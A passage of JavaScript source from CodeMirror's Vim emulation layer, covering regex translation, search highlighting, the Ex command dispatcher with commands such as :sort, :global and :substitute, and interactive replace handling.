        if (!escapeNextChar && c == '/') {
          slashes.push(i);
        }
        escapeNextChar = !escapeNextChar && (c == '\\');
      }
      return slashes;
    }

    // Translates a search string from ex (vim) syntax into javascript form.
    function translateRegex(str) {
      // When these match, add a '\' if unescaped or remove one if escaped.
      var specials = '|(){';
      // Remove, but never add, a '\' for these.
      var unescape = '}';
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        var specialComesNext = (n && specials.indexOf(n) != -1);
        if (escapeNextChar) {
          if (c !== '\\' || !specialComesNext) {
            out.push(c);
          }
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            // Treat the unescape list as special for removing, but not adding '\'.
            if (n && unescape.indexOf(n) != -1) {
              specialComesNext = true;
            }
            // Not passing this test means removing a '\'.
            if (!specialComesNext || n === '\\') {
              out.push(c);
            }
          } else {
            out.push(c);
            if (specialComesNext && n !== '\\') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Translates the replace part of a search and replace from ex (vim) syntax into
    // javascript form.  Similar to translateRegex, but additionally fixes back references
    // (translates '\[0..9]' to '$[0..9]') and follows different rules for escaping '$'.
    var charUnescapes = {'\\n': '\n', '\\r': '\r', '\\t': '\t'};
    function translateRegexReplace(str) {
      var escapeNextChar = false;
      var out = [];
      for (var i = -1; i < str.length; i++) {
        var c = str.charAt(i) || '';
        var n = str.charAt(i+1) || '';
        if (charUnescapes[c + n]) {
          out.push(charUnescapes[c+n]);
          i++;
        } else if (escapeNextChar) {
          // At any point in the loop, escapeNextChar is true if the previous
          // character was a '\' and was not escaped.
          out.push(c);
          escapeNextChar = false;
        } else {
          if (c === '\\') {
            escapeNextChar = true;
            if ((isNumber(n) || n === '$')) {
              out.push('$');
            } else if (n !== '/' && n !== '\\') {
              out.push('\\');
            }
          } else {
            if (c === '$') {
              out.push('$');
            }
            out.push(c);
            if (n === '/') {
              out.push('\\');
            }
          }
        }
      }
      return out.join('');
    }

    // Unescape \ and / in the replace part, for PCRE mode.
    var unescapes = {'\\/': '/', '\\\\': '\\', '\\n': '\n', '\\r': '\r', '\\t': '\t'};
    function unescapeRegexReplace(str) {
      var stream = new CodeMirror.StringStream(str);
      var output = [];
      while (!stream.eol()) {
        // Search for \.
        while (stream.peek() && stream.peek() != '\\') {
          output.push(stream.next());
        }
        var matched = false;
        for (var matcher in unescapes) {
          if (stream.match(matcher, true)) {
            matched = true;
            output.push(unescapes[matcher]);
            break;
          }
        }
        if (!matched) {
          // Don't change anything
          output.push(stream.next());
        }
      }
      return output.join('');
    }

    /**
     * Extract the regular expression from the query and return a Regexp object.
     * Returns null if the query is blank.
     * If ignoreCase is passed in, the Regexp object will have the 'i' flag set.
     * If smartCase is passed in, and the query contains upper case letters,
     *   then ignoreCase is overridden, and the 'i' flag will not be set.
     * If the query contains the /i in the flag part of the regular expression,
     *   then both ignoreCase and smartCase are ignored, and 'i' will be passed
     *   through to the Regex object.
     */
    function parseQuery(query, ignoreCase, smartCase) {
      // First update the last search register
      var lastSearchRegister = vimGlobalState.registerController.getRegister('/');
      lastSearchRegister.setText(query);
      // Check if the query is already a regex.
      if (query instanceof RegExp) { return query; }
      // First try to extract regex + flags from the input. If no flags found,
      // extract just the regex. IE does not accept flags directly defined in
      // the regex string in the form /regex/flags
      var slashes = findUnescapedSlashes(query);
      var regexPart;
      var forceIgnoreCase;
      if (!slashes.length) {
        // Query looks like 'regexp'
        regexPart = query;
      } else {
        // Query looks like 'regexp/...'
        regexPart = query.substring(0, slashes[0]);
        var flagsPart = query.substring(slashes[0]);
        forceIgnoreCase = (flagsPart.indexOf('i') != -1);
      }
      if (!regexPart) {
        return null;
      }
      if (!getOption('pcre')) {
        regexPart = translateRegex(regexPart);
      }
      if (smartCase) {
        ignoreCase = (/^[^A-Z]*$/).test(regexPart);
      }
      var regexp = new RegExp(regexPart,
          (ignoreCase || forceIgnoreCase) ? 'i' : undefined);
      return regexp;
    }
    function showConfirm(cm, text) {
      if (cm.openNotification) {
        cm.openNotification('<span style="color: red">' + text + '</span>',
                            {bottom: true, duration: 5000});
      } else {
        alert(text);
      }
    }
    function makePrompt(prefix, desc) {
      var raw = '';
      if (prefix) {
        raw += '<span style="font-family: monospace">' + prefix + '</span>';
      }
      raw += '<input type="text"/> ' +
          '<span style="color: #888">';
      if (desc) {
        raw += '<span style="color: #888">';
        raw += desc;
        raw += '</span>';
      }
      return raw;
    }
    var searchPromptDesc = '(Javascript regexp)';
    function showPrompt(cm, options) {
      var shortText = (options.prefix || '') + ' ' + (options.desc || '');
      var prompt = makePrompt(options.prefix, options.desc);
      dialog(cm, prompt, shortText, options.onClose, options);
    }
    function regexEqual(r1, r2) {
      if (r1 instanceof RegExp && r2 instanceof RegExp) {
          var props = ['global', 'multiline', 'ignoreCase', 'source'];
          for (var i = 0; i < props.length; i++) {
              var prop = props[i];
              if (r1[prop] !== r2[prop]) {
                  return false;
              }
          }
          return true;
      }
      return false;
    }
    // Returns true if the query is valid.
    function updateSearchQuery(cm, rawQuery, ignoreCase, smartCase) {
      if (!rawQuery) {
        return;
      }
      var state = getSearchState(cm);
      var query = parseQuery(rawQuery, !!ignoreCase, !!smartCase);
      if (!query) {
        return;
      }
      highlightSearchMatches(cm, query);
      if (regexEqual(query, state.getQuery())) {
        return query;
      }
      state.setQuery(query);
      return query;
    }
    function searchOverlay(query) {
      if (query.source.charAt(0) == '^') {
        var matchSol = true;
      }
      return {
        token: function(stream) {
          if (matchSol && !stream.sol()) {
            stream.skipToEnd();
            return;
          }
          var match = stream.match(query, false);
          if (match) {
            if (match[0].length == 0) {
              // Matched empty string, skip to next.
              stream.next();
              return 'searching';
            }
            if (!stream.sol()) {
              // Backtrack 1 to match \b
              stream.backUp(1);
              if (!query.exec(stream.next() + match[0])) {
                stream.next();
                return null;
              }
            }
            stream.match(query);
            return 'searching';
          }
          while (!stream.eol()) {
            stream.next();
            if (stream.match(query, false)) break;
          }
        },
        query: query
      };
    }
    function highlightSearchMatches(cm, query) {
      var searchState = getSearchState(cm);
      var overlay = searchState.getOverlay();
      if (!overlay || query != overlay.query) {
        if (overlay) {
          cm.removeOverlay(overlay);
        }
        overlay = searchOverlay(query);
        cm.addOverlay(overlay);
        if (cm.showMatchesOnScrollbar) {
          if (searchState.getScrollbarAnnotate()) {
            searchState.getScrollbarAnnotate().clear();
          }
          searchState.setScrollbarAnnotate(cm.showMatchesOnScrollbar(query));
        }
        searchState.setOverlay(overlay);
      }
    }
    function findNext(cm, prev, query, repeat) {
      if (repeat === undefined) { repeat = 1; }
      return cm.operation(function() {
        var pos = cm.getCursor();
        var cursor = cm.getSearchCursor(query, pos);
        for (var i = 0; i < repeat; i++) {
          var found = cursor.find(prev);
          if (i == 0 && found && cursorEqual(cursor.from(), pos)) { found = cursor.find(prev); }
          if (!found) {
            // SearchCursor may have returned null because it hit EOF, wrap
            // around and try again.
            cursor = cm.getSearchCursor(query,
                (prev) ? Pos(cm.lastLine()) : Pos(cm.firstLine(), 0) );
            if (!cursor.find(prev)) {
              return;
            }
          }
        }
        return cursor.from();
      });
    }
    function clearSearchHighlight(cm) {
      var state = getSearchState(cm);
      cm.removeOverlay(getSearchState(cm).getOverlay());
      state.setOverlay(null);
      if (state.getScrollbarAnnotate()) {
        state.getScrollbarAnnotate().clear();
        state.setScrollbarAnnotate(null);
      }
    }
    /**
     * Check if pos is in the specified range, INCLUSIVE.
     * Range can be specified with 1 or 2 arguments.
     * If the first range argument is an array, treat it as an array of line
     * numbers. Match pos against any of the lines.
     * If the first range argument is a number,
     *   if there is only 1 range argument, check if pos has the same line
     *       number
     *   if there are 2 range arguments, then check if pos is in between the two
     *       range arguments.
     */
    function isInRange(pos, start, end) {
      if (typeof pos != 'number') {
        // Assume it is a cursor position. Get the line number.
        pos = pos.line;
      }
      if (start instanceof Array) {
        return inArray(pos, start);
      } else {
        if (end) {
          return (pos >= start && pos <= end);
        } else {
          return pos == start;
        }
      }
    }
    function getUserVisibleLines(cm) {
      var scrollInfo = cm.getScrollInfo();
      var occludeToleranceTop = 6;
      var occludeToleranceBottom = 10;
      var from = cm.coordsChar({left:0, top: occludeToleranceTop + scrollInfo.top}, 'local');
      var bottomY = scrollInfo.clientHeight - occludeToleranceBottom + scrollInfo.top;
      var to = cm.coordsChar({left:0, top: bottomY}, 'local');
      return {top: from.line, bottom: to.line};
    }

    var ExCommandDispatcher = function() {
      this.buildCommandMap_();
    };
    ExCommandDispatcher.prototype = {
      processCommand: function(cm, input, opt_params) {
        var that = this;
        cm.operation(function () {
          cm.curOp.isVimOp = true;
          that._processCommand(cm, input, opt_params);
        });
      },
      _processCommand: function(cm, input, opt_params) {
        var vim = cm.state.vim;
        var commandHistoryRegister = vimGlobalState.registerController.getRegister(':');
        var previousCommand = commandHistoryRegister.toString();
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        var inputStream = new CodeMirror.StringStream(input);
        // update ": with the latest command whether valid or invalid
        commandHistoryRegister.setText(input);
        var params = opt_params || {};
        params.input = input;
        try {
          this.parseInput_(cm, inputStream, params);
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
        var command;
        var commandName;
        if (!params.commandName) {
          // If only a line range is defined, move to the line.
          if (params.line !== undefined) {
            commandName = 'move';
          }
        } else {
          command = this.matchCommand_(params.commandName);
          if (command) {
            commandName = command.name;
            if (command.excludeFromCommandHistory) {
              commandHistoryRegister.setText(previousCommand);
            }
            this.parseCommandArgs_(inputStream, params, command);
            if (command.type == 'exToKey') {
              // Handle Ex to Key mapping.
              for (var i = 0; i < command.toKeys.length; i++) {
                CodeMirror.Vim.handleKey(cm, command.toKeys[i], 'mapping');
              }
              return;
            } else if (command.type == 'exToEx') {
              // Handle Ex to Ex mapping.
              this.processCommand(cm, command.toInput);
              return;
            }
          }
        }
        if (!commandName) {
          showConfirm(cm, 'Not an editor command ":' + input + '"');
          return;
        }
        try {
          exCommands[commandName](cm, params);
          // Possibly asynchronous commands (e.g. substitute, which might have a
          // user confirmation), are responsible for calling the callback when
          // done. All others have it taken care of for them here.
          if ((!command || !command.possiblyAsync) && params.callback) {
            params.callback();
          }
        } catch(e) {
          showConfirm(cm, e);
          throw e;
        }
      },
      parseInput_: function(cm, inputStream, result) {
        inputStream.eatWhile(':');
        // Parse range.
        if (inputStream.eat('%')) {
          result.line = cm.firstLine();
          result.lineEnd = cm.lastLine();
        } else {
          result.line = this.parseLineSpec_(cm, inputStream);
          if (result.line !== undefined && inputStream.eat(',')) {
            result.lineEnd = this.parseLineSpec_(cm, inputStream);
          }
        }

        // Parse command name.
        var commandMatch = inputStream.match(/^(\w+)/);
        if (commandMatch) {
          result.commandName = commandMatch[1];
        } else {
          result.commandName = inputStream.match(/.*/)[0];
        }

        return result;
      },
      parseLineSpec_: function(cm, inputStream) {
        var numberMatch = inputStream.match(/^(\d+)/);
        if (numberMatch) {
          return parseInt(numberMatch[1], 10) - 1;
        }
        switch (inputStream.next()) {
          case '.':
            return cm.getCursor().line;
          case '$':
            return cm.lastLine();
          case '\'':
            var mark = cm.state.vim.marks[inputStream.next()];
            if (mark && mark.find()) {
              return mark.find().line;
            }
            throw new Error('Mark not set');
          default:
            inputStream.backUp(1);
            return undefined;
        }
      },
      parseCommandArgs_: function(inputStream, params, command) {
        if (inputStream.eol()) {
          return;
        }
        params.argString = inputStream.match(/.*/)[0];
        // Parse command-line arguments
        var delim = command.argDelimiter || /\s+/;
        var args = trim(params.argString).split(delim);
        if (args.length && args[0]) {
          params.args = args;
        }
      },
      matchCommand_: function(commandName) {
        // Return the command in the command map that matches the shortest
        // prefix of the passed in command name. The match is guaranteed to be
        // unambiguous if the defaultExCommandMap's shortNames are set up
        // correctly. (see @code{defaultExCommandMap}).
        for (var i = commandName.length; i > 0; i--) {
          var prefix = commandName.substring(0, i);
          if (this.commandMap_[prefix]) {
            var command = this.commandMap_[prefix];
            if (command.name.indexOf(commandName) === 0) {
              return command;
            }
          }
        }
        return null;
      },
      buildCommandMap_: function() {
        this.commandMap_ = {};
        for (var i = 0; i < defaultExCommandMap.length; i++) {
          var command = defaultExCommandMap[i];
          var key = command.shortName || command.name;
          this.commandMap_[key] = command;
        }
      },
      map: function(lhs, rhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':') {
          if (ctx) { throw Error('Mode not supported for ex mappings'); }
          var commandName = lhs.substring(1);
          if (rhs != ':' && rhs.charAt(0) == ':') {
            // Ex to Ex mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToEx',
              toInput: rhs.substring(1),
              user: true
            };
          } else {
            // Ex to key mapping
            this.commandMap_[commandName] = {
              name: commandName,
              type: 'exToKey',
              toKeys: rhs,
              user: true
            };
          }
        } else {
          if (rhs != ':' && rhs.charAt(0) == ':') {
            // Key to Ex mapping.
            var mapping = {
              keys: lhs,
              type: 'keyToEx',
              exArgs: { input: rhs.substring(1) },
              user: true};
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          } else {
            // Key to key mapping
            var mapping = {
              keys: lhs,
              type: 'keyToKey',
              toKeys: rhs,
              user: true
            };
            if (ctx) { mapping.context = ctx; }
            defaultKeymap.unshift(mapping);
          }
        }
      },
      unmap: function(lhs, ctx) {
        if (lhs != ':' && lhs.charAt(0) == ':') {
          // Ex to Ex or Ex to key mapping
          if (ctx) { throw Error('Mode not supported for ex mappings'); }
          var commandName = lhs.substring(1);
          if (this.commandMap_[commandName] && this.commandMap_[commandName].user) {
            delete this.commandMap_[commandName];
            return;
          }
        } else {
          // Key to Ex or key to key mapping
          var keys = lhs;
          for (var i = 0; i < defaultKeymap.length; i++) {
            if (keys == defaultKeymap[i].keys
                && defaultKeymap[i].context === ctx
                && defaultKeymap[i].user) {
              defaultKeymap.splice(i, 1);
              return;
            }
          }
        }
        throw Error('No such mapping.');
      }
    };

    var exCommands = {
      colorscheme: function(cm, params) {
        if (!params.args || params.args.length < 1) {
          showConfirm(cm, cm.getOption('theme'));
          return;
        }
        cm.setOption('theme', params.args[0]);
      },
      map: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 2) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.map(mapArgs[0], mapArgs[1], ctx);
      },
      imap: function(cm, params) { this.map(cm, params, 'insert'); },
      nmap: function(cm, params) { this.map(cm, params, 'normal'); },
      vmap: function(cm, params) { this.map(cm, params, 'visual'); },
      unmap: function(cm, params, ctx) {
        var mapArgs = params.args;
        if (!mapArgs || mapArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'No such mapping: ' + params.input);
          }
          return;
        }
        exCommandDispatcher.unmap(mapArgs[0], ctx);
      },
      move: function(cm, params) {
        commandDispatcher.processCommand(cm, cm.state.vim, {
            type: 'motion',
            motion: 'moveToLineOrEdgeOfDocument',
            motionArgs: { forward: false, explicitRepeat: true,
              linewise: true },
            repeatOverride: params.line+1});
      },
      set: function(cm, params) {
        var setArgs = params.args;
        // Options passed through to the setOption/getOption calls. May be passed in by the
        // local/global versions of the set command
        var setCfg = params.setCfg || {};
        if (!setArgs || setArgs.length < 1) {
          if (cm) {
            showConfirm(cm, 'Invalid mapping: ' + params.input);
          }
          return;
        }
        var expr = setArgs[0].split('=');
        var optionName = expr[0];
        var value = expr[1];
        var forceGet = false;

        if (optionName.charAt(optionName.length - 1) == '?') {
          // If post-fixed with ?, then the set is actually a get.
          if (value) { throw Error('Trailing characters: ' + params.argString); }
          optionName = optionName.substring(0, optionName.length - 1);
          forceGet = true;
        }
        if (value === undefined && optionName.substring(0, 2) == 'no') {
          // To set boolean options to false, the option name is prefixed with
          // 'no'.
          optionName = optionName.substring(2);
          value = false;
        }

        var optionIsBoolean = options[optionName] && options[optionName].type == 'boolean';
        if (optionIsBoolean && value == undefined) {
          // Calling set with a boolean option sets it to true.
          value = true;
        }
        // If no value is provided, then we assume this is a get.
        if (!optionIsBoolean && value === undefined || forceGet) {
          var oldValue = getOption(optionName, cm, setCfg);
          if (oldValue === true || oldValue === false) {
            showConfirm(cm, ' ' + (oldValue ? '' : 'no') + optionName);
          } else {
            showConfirm(cm, '  ' + optionName + '=' + oldValue);
          }
        } else {
          setOption(optionName, value, cm, setCfg);
        }
      },
      setlocal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'local'};
        this.set(cm, params);
      },
      setglobal: function (cm, params) {
        // setCfg is passed through to setOption
        params.setCfg = {scope: 'global'};
        this.set(cm, params);
      },
      registers: function(cm, params) {
        var regArgs = params.args;
        var registers = vimGlobalState.registerController.registers;
        var regInfo = '----------Registers----------<br><br>';
        if (!regArgs) {
          for (var registerName in registers) {
            var text = registers[registerName].toString();
            if (text.length) {
              regInfo += '"' + registerName + '    ' + text + '<br>';
            }
          }
        } else {
          var registerName;
          regArgs = regArgs.join('');
          for (var i = 0; i < regArgs.length; i++) {
            registerName = regArgs.charAt(i);
            if (!vimGlobalState.registerController.isValidRegister(registerName)) {
              continue;
            }
            var register = registers[registerName] || new Register();
            regInfo += '"' + registerName + '    ' + register.toString() + '<br>';
          }
        }
        showConfirm(cm, regInfo);
      },
      sort: function(cm, params) {
        var reverse, ignoreCase, unique, number;
        function parseArgs() {
          if (params.argString) {
            var args = new CodeMirror.StringStream(params.argString);
            if (args.eat('!')) { reverse = true; }
            if (args.eol()) { return; }
            if (!args.eatSpace()) { return 'Invalid arguments'; }
            var opts = args.match(/[a-z]+/);
            if (opts) {
              opts = opts[0];
              ignoreCase = opts.indexOf('i') != -1;
              unique = opts.indexOf('u') != -1;
              var decimal = opts.indexOf('d') != -1 && 1;
              var hex = opts.indexOf('x') != -1 && 1;
              var octal = opts.indexOf('o') != -1 && 1;
              if (decimal + hex + octal > 1) { return 'Invalid arguments'; }
              number = decimal && 'decimal' || hex && 'hex' || octal && 'octal';
            }
            if (args.match(/\/.*\//)) { return 'patterns not supported'; }
          }
        }
        var err = parseArgs();
        if (err) {
          showConfirm(cm, err + ': ' + params.argString);
          return;
        }
        var lineStart = params.line || cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        if (lineStart == lineEnd) { return; }
        var curStart = Pos(lineStart, 0);
        var curEnd = Pos(lineEnd, lineLength(cm, lineEnd));
        var text = cm.getRange(curStart, curEnd).split('\n');
        var numberRegex = (number == 'decimal') ? /(-?)([\d]+)/ :
           (number == 'hex') ? /(-?)(?:0x)?([0-9a-f]+)/i :
           (number == 'octal') ? /([0-7]+)/ : null;
        var radix = (number == 'decimal') ? 10 : (number == 'hex') ? 16 : (number == 'octal') ? 8 : null;
        var numPart = [], textPart = [];
        if (number) {
          for (var i = 0; i < text.length; i++) {
            if (numberRegex.exec(text[i])) {
              numPart.push(text[i]);
            } else {
              textPart.push(text[i]);
            }
          }
        } else {
          textPart = text;
        }
        function compareFn(a, b) {
          if (reverse) { var tmp; tmp = a; a = b; b = tmp; }
          if (ignoreCase) { a = a.toLowerCase(); b = b.toLowerCase(); }
          var anum = number && numberRegex.exec(a);
          var bnum = number && numberRegex.exec(b);
          if (!anum) { return a < b ? -1 : 1; }
          anum = parseInt((anum[1] + anum[2]).toLowerCase(), radix);
          bnum = parseInt((bnum[1] + bnum[2]).toLowerCase(), radix);
          return anum - bnum;
        }
        numPart.sort(compareFn);
        textPart.sort(compareFn);
        text = (!reverse) ? textPart.concat(numPart) : numPart.concat(textPart);
        if (unique) { // Remove duplicate lines
          var textOld = text;
          var lastLine;
          text = [];
          for (var i = 0; i < textOld.length; i++) {
            if (textOld[i] != lastLine) {
              text.push(textOld[i]);
            }
            lastLine = textOld[i];
          }
        }
        cm.replaceRange(text.join('\n'), curStart, curEnd);
      },
      global: function(cm, params) {
        // a global command is of the form
        // :[range]g/pattern/[cmd]
        // argString holds the string /pattern/[cmd]
        var argString = params.argString;
        if (!argString) {
          showConfirm(cm, 'Regular Expression missing from global');
          return;
        }
        // range is specified here
        var lineStart = (params.line !== undefined) ? params.line : cm.firstLine();
        var lineEnd = params.lineEnd || params.line || cm.lastLine();
        // get the tokens from argString
        var tokens = splitBySlash(argString);
        var regexPart = argString, cmd;
        if (tokens.length) {
          regexPart = tokens[0];
          cmd = tokens.slice(1, tokens.length).join('/');
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise
          // use the regex part as the new query.
          try {
           updateSearchQuery(cm, regexPart, true /** ignoreCase */,
             true /** smartCase */);
          } catch (e) {
           showConfirm(cm, 'Invalid regex: ' + regexPart);
           return;
          }
        }
        // now that we have the regexPart, search for regex matches in the
        // specified range of lines
        var query = getSearchState(cm).getQuery();
        var matchedLines = [], content = '';
        for (var i = lineStart; i <= lineEnd; i++) {
          var matched = query.test(cm.getLine(i));
          if (matched) {
            matchedLines.push(i+1);
            content+= cm.getLine(i) + '<br>';
          }
        }
        // if there is no [cmd], just display the list of matched lines
        if (!cmd) {
          showConfirm(cm, content);
          return;
        }
        var index = 0;
        var nextCommand = function() {
          if (index < matchedLines.length) {
            var command = matchedLines[index] + cmd;
            exCommandDispatcher.processCommand(cm, command, {
              callback: nextCommand
            });
          }
          index++;
        };
        nextCommand();
      },
      substitute: function(cm, params) {
        if (!cm.getSearchCursor) {
          throw new Error('Search feature not available. Requires searchcursor.js or ' +
              'any other getSearchCursor implementation.');
        }
        var argString = params.argString;
        var tokens = argString ? splitBySlash(argString) : [];
        var regexPart, replacePart = '', trailing, flagsPart, count;
        var confirm = false; // Whether to confirm each replace.
        var global = false; // True to replace all instances on a line, false to replace only 1.
        if (tokens.length) {
          regexPart = tokens[0];
          replacePart = tokens[1];
          if (replacePart !== undefined) {
            if (getOption('pcre')) {
              replacePart = unescapeRegexReplace(replacePart);
            } else {
              replacePart = translateRegexReplace(replacePart);
            }
            vimGlobalState.lastSubstituteReplacePart = replacePart;
          }
          trailing = tokens[2] ? tokens[2].split(' ') : [];
        } else {
          // either the argString is empty or its of the form ' hello/world'
          // actually splitBySlash returns a list of tokens
          // only if the string starts with a '/'
          if (argString && argString.length) {
            showConfirm(cm, 'Substitutions should be of the form ' +
                ':s/pattern/replace/');
            return;
          }
        }
        // After the 3rd slash, we can have flags followed by a space followed
        // by count.
        if (trailing) {
          flagsPart = trailing[0];
          count = parseInt(trailing[1]);
          if (flagsPart) {
            if (flagsPart.indexOf('c') != -1) {
              confirm = true;
              flagsPart.replace('c', '');
            }
            if (flagsPart.indexOf('g') != -1) {
              global = true;
              flagsPart.replace('g', '');
            }
            regexPart = regexPart + '/' + flagsPart;
          }
        }
        if (regexPart) {
          // If regex part is empty, then use the previous query. Otherwise use
          // the regex part as the new query.
          try {
            updateSearchQuery(cm, regexPart, true /** ignoreCase */,
              true /** smartCase */);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + regexPart);
            return;
          }
        }
        replacePart = replacePart || vimGlobalState.lastSubstituteReplacePart;
        if (replacePart === undefined) {
          showConfirm(cm, 'No previous substitute regular expression');
          return;
        }
        var state = getSearchState(cm);
        var query = state.getQuery();
        var lineStart = (params.line !== undefined) ? params.line : cm.getCursor().line;
        var lineEnd = params.lineEnd || lineStart;
        if (lineStart == cm.firstLine() && lineEnd == cm.lastLine()) {
          lineEnd = Infinity;
        }
        if (count) {
          lineStart = lineEnd;
          lineEnd = lineStart + count - 1;
        }
        var startPos = clipCursorToContent(cm, Pos(lineStart, 0));
        var cursor = cm.getSearchCursor(query, startPos);
        doReplace(cm, confirm, global, lineStart, lineEnd, cursor, query, replacePart, params.callback);
      },
      redo: CodeMirror.commands.redo,
      undo: CodeMirror.commands.undo,
      write: function(cm) {
        if (CodeMirror.commands.save) {
          // If a save command is defined, call it.
          CodeMirror.commands.save(cm);
        } else {
          // Saves to text area if no save command is defined.
          cm.save();
        }
      },
      nohlsearch: function(cm) {
        clearSearchHighlight(cm);
      },
      delmarks: function(cm, params) {
        if (!params.argString || !trim(params.argString)) {
          showConfirm(cm, 'Argument required');
          return;
        }

        var state = cm.state.vim;
        var stream = new CodeMirror.StringStream(trim(params.argString));
        while (!stream.eol()) {
          stream.eatSpace();

          // Record the streams position at the beginning of the loop for use
          // in error messages.
          var count = stream.pos;

          if (!stream.match(/[a-zA-Z]/, false)) {
            showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
            return;
          }

          var sym = stream.next();
          // Check if this symbol is part of a range
          if (stream.match('-', true)) {
            // This symbol is part of a range.

            // The range must terminate at an alphabetic character.
            if (!stream.match(/[a-zA-Z]/, false)) {
              showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
              return;
            }

            var startMark = sym;
            var finishMark = stream.next();
            // The range must terminate at an alphabetic character which
            // shares the same case as the start of the range.
            if (isLowerCase(startMark) && isLowerCase(finishMark) ||
                isUpperCase(startMark) && isUpperCase(finishMark)) {
              var start = startMark.charCodeAt(0);
              var finish = finishMark.charCodeAt(0);
              if (start >= finish) {
                showConfirm(cm, 'Invalid argument: ' + params.argString.substring(count));
                return;
              }

              // Because marks are always ASCII values, and we have
              // determined that they are the same case, we can use
              // their char codes to iterate through the defined range.
              for (var j = 0; j <= finish - start; j++) {
                var mark = String.fromCharCode(start + j);
                delete state.marks[mark];
              }
            } else {
              showConfirm(cm, 'Invalid argument: ' + startMark + '-');
              return;
            }
          } else {
            // This symbol is a valid mark, and is not part of a range.
            delete state.marks[sym];
          }
        }
      }
    };

    var exCommandDispatcher = new ExCommandDispatcher();

    /**
    * @param {CodeMirror} cm CodeMirror instance we are in.
    * @param {boolean} confirm Whether to confirm each replace.
    * @param {Cursor} lineStart Line to start replacing from.
    * @param {Cursor} lineEnd Line to stop replacing at.
    * @param {RegExp} query Query for performing matches with.
    * @param {string} replaceWith Text to replace matches with. May contain $1,
    *     $2, etc for replacing captured groups using Javascript replace.
    * @param {function()} callback A callback for when the replace is done.
    */
    function doReplace(cm, confirm, global, lineStart, lineEnd, searchCursor, query,
        replaceWith, callback) {
      // Set up all the functions.
      cm.state.vim.exMode = true;
      var done = false;
      var lastPos = searchCursor.from();
      function replaceAll() {
        cm.operation(function() {
          while (!done) {
            replace();
            next();
          }
          stop();
        });
      }
      function replace() {
        var text = cm.getRange(searchCursor.from(), searchCursor.to());
        var newText = text.replace(query, replaceWith);
        searchCursor.replace(newText);
      }
      function next() {
        // The below only loops to skip over multiple occurrences on the same
        // line when 'global' is not true.
        while(searchCursor.findNext() &&
              isInRange(searchCursor.from(), lineStart, lineEnd)) {
          if (!global && lastPos && searchCursor.from().line == lastPos.line) {
            continue;
          }
          cm.scrollIntoView(searchCursor.from(), 30);
          cm.setSelection(searchCursor.from(), searchCursor.to());
          lastPos = searchCursor.from();
          done = false;
          return;
        }
        done = true;
      }
      function stop(close) {
        if (close) { close(); }
        cm.focus();
        if (lastPos) {
          cm.setCursor(lastPos);
          var vim = cm.state.vim;
          vim.exMode = false;
          vim.lastHPos = vim.lastHSPos = lastPos.ch;
        }
        if (callback) { callback(); }
      }
      function onPromptKeyDown(e, _value, close) {
        // Swallow all keys.
        CodeMirror.e_stop(e);
        var keyName = CodeMirror.keyName(e);
        switch (keyName) {
          case 'Y':
            replace(); next(); break;
          case 'N':
            next(); break;
          case 'A':
            // replaceAll contains a call to close of its own. We don't want it
            // to fire too early or multiple times.
            var savedCallback = callback;
            callback = undefined;
            cm.operation(replaceAll);
            callback = savedCallback;
            break;
          case 'L':
            replace();
            // fall through and exit.
          case 'Q':
          case 'Esc':
          case 'Ctrl-C':
          case 'Ctrl-[':
            stop(close);
            break;
        }
        if (done) { stop(close); }
        return true;
      }

      // Actually do replace.
      next();
      if (done) {
        showConfirm(cm, 'No matches for ' + query.source);
        return;
      }
      if (!confirm) {
        replaceAll();
        if (callback) { callback(); };
        return;
      }
      showPrompt(cm, {
        prefix: 'replace with <strong>' + replaceWith + '</strong> (y/n/a/q/l)',
        onKeyDown: onPromptKeyDown
      });
    }

    CodeMirror.keyMap.vim = {
      attach: attachVimMap,
      detach: detachVimMap,
      call: cmKey
    };

    function exitInsertMode(cm) {
      var vim = cm.state.vim;
      var macroModeState = vimGlobalState.macroModeState;
      var insertModeChangeRegister = vimGlobalState.registerController.getRegister('.');
      var isPlaying = macroModeState.isPlaying;
      var lastChange = macroModeState.lastInsertModeChanges;
      // In case of visual block, the insertModeChanges are not saved as a
      // single word, so we convert them to a single word
      // so as to update the ". register as expected in real vim.
      var text = [];
      if (!isPlaying) {
        var selLength = lastChange.inVisualBlock ? vim.lastSelection.visualBlock.height : 1;
        var changes = lastChange.changes;
        var text = [];
        var i = 0;
        // In case of multiple selections in blockwise visual,
        // the inserted text, for example: 'f<Backspace>oo', is stored as
        // 'f', 'f', InsertModeKey 'o', 'o', 'o', 'o'. (if you have a block with 2 lines).
        // We push the contents of the changes array as per the following:
        // 1. In case of InsertModeKey, just increment by 1.
        // 2. In case of a character, jump by selLength (2 in the example).
        while (i < changes.length) {
          // This loop will convert 'ff<bs>oooo' to 'f<bs>oo'.
          text.push(changes[i]);
          if (changes[i] instanceof InsertModeKey) {
             i++;
          } else {
             i+= selLength;
          }
        }
        lastChange.changes = text;
        cm.off('change', onChange);
        CodeMirror.off(cm.getInputField(), 'keydown', onKeyEventTargetKeyDown);
      }
      if (!isPlaying && vim.insertModeRepeat > 1) {
        // Perform insert mode repeat for commands like 3,a and 3,o.
        repeatLastEdit(cm, vim, vim.insertModeRepeat - 1,
            true /** repeatForInsert */);
        vim.lastEditInputState.repeatOverride = vim.insertModeRepeat;
      }
      delete vim.insertModeRepeat;
      vim.insertMode = false;
      cm.setCursor(cm.getCursor().line, cm.getCursor().ch-1);
      cm.setOption('keyMap', 'vim');
      cm.setOption('disableInput', true);
